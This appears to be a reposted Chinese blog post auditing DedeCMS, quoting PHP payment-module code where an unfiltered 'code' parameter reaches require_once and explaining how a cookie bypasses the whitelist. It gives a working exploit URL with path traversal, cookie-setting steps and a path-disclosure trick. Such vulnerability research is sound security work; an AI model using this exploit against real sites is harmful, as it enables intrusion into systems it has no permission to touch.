java代码审计文件包含_代码审计:dedecms本地文件包含及物理路径泄露0day[转]

晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)

出现漏洞的两个文件为:

Include/payment/alipay.php

Include/payment/yeepay.php

漏洞均出现在respond方法里,估计这两个文件是临时工写的。

Include/payment/alipay.php

[task]......

function respond()

{

if (!empty($_POST))

{

foreach($_POST as $key => $data)

{

$_GET[$key] = $data;

}

}

/* 引入配置文件 */

require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';

...... [/task]

大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。

Include/payment/yeepay.php

[task]......

function respond()

{

/* 引入配置文件 */

require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';

$p1_MerId = trim($payment['yp_account']);

$merchantKey = trim($payment['yp_key']);

...... [/task]

大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。

这两个方法在plus/carbuyaction.php文件调用。

plus/carbuyaction.php

[task]......

} else if ($dopost == 'return') {

$write_list = array('alipay', 'bank', 'cod', 'yeepay');

if (in_array($code, $write_list))

{

require_once DEDEINC.'/payment/'.$code.'.php';

$pay = new $code;

$msg=$pay->respond();

ShowMsg($msg, "javascript:;", 0, 3000);

exit();

} else {

exit('Error:File Type Can\'t Recognized!');

}

}

...... [/task]

大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。

所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。

回到include/common.inc.php来看看他的机制。

[task]......

foreach(Array('_GET','_POST','_COOKIE') as $_request)

{

foreach($$_request as $_k => $_v)

{

if($_k == 'nvarname') ${$_k} = $_v;

else ${$_k} = _RunMagicQuotes($_v);

}

}

...... [/task]

大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carbuyaction.php?dopost=return&code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:

由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。

作者:b4dboy

漏洞发现日期:2013-3-27

转自:http://www.cnseay.com/2515/

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值